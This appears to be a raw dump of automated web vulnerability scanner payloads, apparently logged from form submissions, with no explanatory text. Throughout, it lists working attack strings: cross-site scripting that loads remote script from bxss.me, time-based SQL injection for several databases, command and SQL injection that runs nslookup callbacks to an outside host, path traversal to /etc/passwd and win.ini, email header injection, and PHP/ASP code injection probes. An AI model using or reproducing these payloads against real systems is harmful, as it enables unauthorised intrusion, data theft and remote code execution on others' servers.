1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=054981&r=1-1007&h=1-15429-2&/).slice(2),document.documentElement.appendChild(s))//'>

1'>"><script src=http://bxss.me/s?u=054981&r=1-1008&h=1-15429-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,054981,1-1008,1,15429,%22%5D"/>

response.write(9348429*9973082)

CJbF726R

1*1*1*1

1*1*1*1

1*1*1*1

1*1*1*1

-1 OR 2+30-30-1=0+0+0+1 --

-1 OR 3+30-30-1=0+0+0+1 --

-1 OR 2+544-544-1=0+0+0+1

-1 OR 3+544-544-1=0+0+0+1

if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

set|set&set

$(nslookup dns.ce.\054981.1-1014.1.15429.\1.bxss.me)

&nslookup dns.ce.\054981.1-1015.1.15429.\1.bxss.me&'\"`0&nslookup dns.ce.\054981.1-1015.1.15429.\1.bxss.me&`'

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

FdFbA4cW

-1; waitfor delay '0:0:6' --

-1); waitfor delay '0:0:6' --

1 waitfor delay '0:0:6' --

8zwkeZut'; waitfor delay '0:0:9' --

-1;select pg_sleep(9); --

-1);select pg_sleep(9); --

-1));select pg_sleep(9); --

aqghMYKC';select pg_sleep(9); --

N60PsZkm');select pg_sleep(9); --

v6a1JGPy'));select pg_sleep(3); --

1||UTL_INADDR.get_host_address('dns.'||'sqli.054981.1-1022.1.15429.1.bxss'||'.me')

'||UTL_INADDR.get_host_address('dns.'||'sqli.054981.1-1023.1.15429.1.bxss'||'.me')||'

../../../../../../../../../../etc/passwd

1;copy (select '') to program 'nslookup dns.sqli.\054981.1-1024.1.15429.\1.bxss.me'

../../../../../../../../../../../../../../../proc/version

1';copy (select '') to program 'nslookup dns.sqli.\054981.1-1025.1.15429.\1.bxss.me

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

994'

../../../../../../../../../../etc/passwd.jpg

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

/../..//../..//../..//../..//../..//etc/passwd.jpg

1 bcc:054981.1-1026.1.15429.1@bxss.me

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

/etc/passwd

to@example.com> bcc:054981.1-1027.1.15429.1@bxss.me

%2fetc%2fpasswd

/.././.././.././.././.././.././.././../etc/./passwd%00

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

12345'"\'\");|]*{ <>

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

..

file:///etc/passwd

/\../\../\../\../\../\../\../etc/passwd

WEB-INF/web.xml

${9999361+9999262}

/WEB-INF/web.xml

WEB-INF\web.xml

../../../../../../../../../../windows/win.ini

C:\WINDOWS\system32\drivers\etc\hosts

../../../../../../../../../../windows/win.ini.jpg

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

................windowswin.ini

..\..\..\..\..\..\..\..\windows\win.ini

1some_inexistent_file_with_long_name.jpg

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

Http://testasp.vulnweb.com/t/fit.txt

'+response.write(9348429*9973082)+'

!(()&&!|*|*|

^(#$!@#$)(()))******

WEB-INF/web.xml

WEB-INF\web.xml

'"()

"+response.write(9348429*9973082)+"

;print(md5(acunetix_wvs_security_test));

';print(md5(acunetix_wvs_security_test));$a='

";print(md5(acunetix_wvs_security_test));$a="

${@print(md5(acunetix_wvs_security_test))}

http://testasp.vulnweb.com/t/fit.txt?.jpg

${@print(md5(acunetix_wvs_security_test))}\

1&n925258=v944822

http://testasp.vulnweb.com/t/xss.html?%00.jpg

42500

42500

42500/.

testasp.vulnweb.com

http://hit7smu0Jyxla.bxss.me/

1'"

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

@@Qlspe

JyI=

/www.vulnweb.com

'"

<!--

1'"()&%<acx><ScRiPt >e9ZT(9185)</ScRiPt>

'"()&%<acx><ScRiPt >e9ZT(9088)</ScRiPt>

19553022